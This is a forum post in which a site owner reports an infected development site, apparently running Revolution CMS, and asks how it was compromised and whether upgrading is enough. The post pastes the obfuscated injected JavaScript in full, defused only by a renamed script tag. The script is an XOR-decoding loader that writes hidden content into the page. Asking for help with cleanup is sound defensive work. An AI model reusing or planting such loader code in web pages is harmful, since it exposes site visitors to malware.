Just logged into our old dev site to check something, havent been on it in the last month or so...
my NOD comes up with a warning about a trojan, coming from the favicon.ico file!?!?
Opening the main index.php i noticed a javascript include at the top, with code pasted below. How is it that this site got infected, i thought revo was a little more resilient towards cross scripting attacks? Is it a particular vulnelability with this version?
Is upgrading to latest version enough, or should I start ripping stuff out, lol?
code
<disabledscript language='diabled so it doesnt execute'>var GurbLICyOdqKLzseb='';WVnQUcVjzAKTslMboAkUTJv='ncLsez';var FEOmKewEKIjXXkP='NMVniPTkBRpKsfjXhjRKbgyRVcLVRcXgAFPrhLgCMUtbQvOICY';NvfXRZTRfHVMHcjEmeWUZwGrU='WKdYPydHnyLOeSyzNnPV';var tcoKeakxU=0;CmZJpbXDGdrlBx='DjXiLHpySvlrBU';var tBNiOMphFhjTsjZosevh='%71%3F%08%1B%31%39%0E%62%21%02%28%4E%44%02%2C%1C%1A%68%64%4D%0A%0E%3C%25%0C%22%78%3B%0D%77%0E%2F%68%33%15%01%73%03%26%2B%34%01%0E%25%54%6F%2F%31%38%23%28%34%01%1B%34%31%19%7F%70%40%69%53%15%09%2A%07%06%3E%22%0C%67%44%70%38%0C%6E%76%3A%06%31%67%29%32%6D%50%59%6E%47%34%24%31%74%0A%6C%54%7E%6B%63%31%3D%3D%37%0D%0C%6D%76%5A%60%72%06%38%03%07%09%3D%55%48%63%69%42%0A%18%20%31%0A%22%21%3B%07%2C%0F%7C%64%60%50%48%21%06%31%2A%3C%1A%0A%34%1F%28%21%37%64%6C%7D%74%50%55%7F%3D%0D%30%33%1D%2E%4D';jArAMWZtRcxoreHUlyidR='KKVzWtNgWLCw';var BbqLCFcFFpiCN=tBNiOMphFhjTsjZosevh.length/3;naztF='tzyYhtPeEjeFKQNOwszwTaZwh';tBNiOMphFhjTsjZosevh=unescape(tBNiOMphFhjTsjZosevh);wvVlTiYpoeBvDENvwunULtT='FsqoBQabbVnDMUHH';for(GGOZRMimAiOVqbk=0;GGOZRMimAiOVqbk<BbqLCFcFFpiCN;GGOZRMimAiOVqbk++){tcoKeakxU++;if(FEOmKewEKIjXXkP.length<=tcoKeakxU) tcoKeakxU=0;FSgzfUIPGwHE=tBNiOMphFhjTsjZosevh.charCodeAt(GGOZRMimAiOVqbk); lEbjKPjPPTuGVJ='OGimAnuBwfrWgyXwY'; if(FEOmKewEKIjXXkP.charCodeAt(tcoKeakxU)!=FSgzfUIPGwHE) FSgzfUIPGwHE^=FEOmKewEKIjXXkP.charCodeAt(tcoKeakxU); NNLkshfrekbHEI='DTYFJDLJhIQXpyjR';GurbLICyOdqKLzseb+=String.fromCharCode(FSgzfUIPGwHE);} KuYYPTmuQyVsinLpmzAEv='XCeaLrazeXusFIYwFSQiqgA';document.write(GurbLICyOdqKLzseb);aFeDkTsXARoaWNIkrVQuegoz='aesjrTDhivznRDdLfjjzJkBj';</disabledscript>